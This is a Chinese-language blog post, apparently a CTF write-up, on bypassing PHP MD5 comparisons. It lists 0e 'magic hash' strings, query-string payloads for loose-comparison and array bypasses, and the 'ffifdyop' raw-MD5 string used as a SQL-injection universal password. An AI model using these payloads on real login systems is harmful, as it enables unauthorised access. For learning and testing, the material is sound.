【CTF解题】MD5 绕过强弱类型比较
2022-11-17 / 0 评论 / 93 阅读 / 6 点赞

【CTF解题】MD5 绕过强弱类型比较

发光的神
2022-11-17 / 0 评论 / 93 阅读 / 正在检测是否收录...

简介

有些东西没有完美一说,就好比做开发的时候不严谨,和疏忽就会导致漏洞百出,在php里有两种比较,第一种是 == 双等于是弱比较,而 === 三个等于是强等于,他们之间的区别在下方有讲。

类型比较区别

==   先将字符串类型转化成相同,再比较。
===  先判断两种字符串的类型是否相等,再比较。

lb2flqqd.png

var_dump("0e123456"=="0e134567");  // true
var_dump(0 == "a1");               // true
var_dump(0 == "1a");               // false
var_dump("a" == 0);                // true
var_dump("1a" == 1);               // true

MD5弱类型绕过

弱类型比较会把0exxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0。
lb1rmhfy.png

<?php $flag="";
  $a=$_GET["a"];
  $b=$_GET["b"];
  if(isset($a) && isset($b)){
    if(!ctype_alpha($a)){
        die("a error");
    }
    if(!is_numeric($b)){
        die("b error");
    }
    if(md5($a)==md5($b)){
        echo $flag;
    }
  }else{  
    echo "请问,flag在哪里?";
}?>

1.来做一道题看上面 if(md5($a)==md5($b)) 判断两个 md5值相等就输出flag,不是两个md5相等就行了,而是在弱比较的基础上做,以下是一些字符串md5值以0e开头

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
?a=QNKCDZO&b=240610708

lb1s6rmr.png

2.通过先将字符串类型转化成相同,再比较这样就成了,利用以上payload提交就可以拿到flag。

数组绕过

md5()函数计算的是一个字符串的哈希值,对于数组则返回false

payload:?a[]=1&b[]=2

MD5强类型绕过

强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行但我们可以用MD值完全相同的字符来进行绕过。

Select * from "admin" where password=md5($pass,true)
276f722736c95d99e921722cf9ed621c # ffifdyop md5值

可以利用 ffifdyop 的md5值绕过,因为在转换成字符串为"or"6乱码,Select * from ’admin’ where password='or'6乱码,相当于万能密码了。

6

评论 (0)

取消
0:00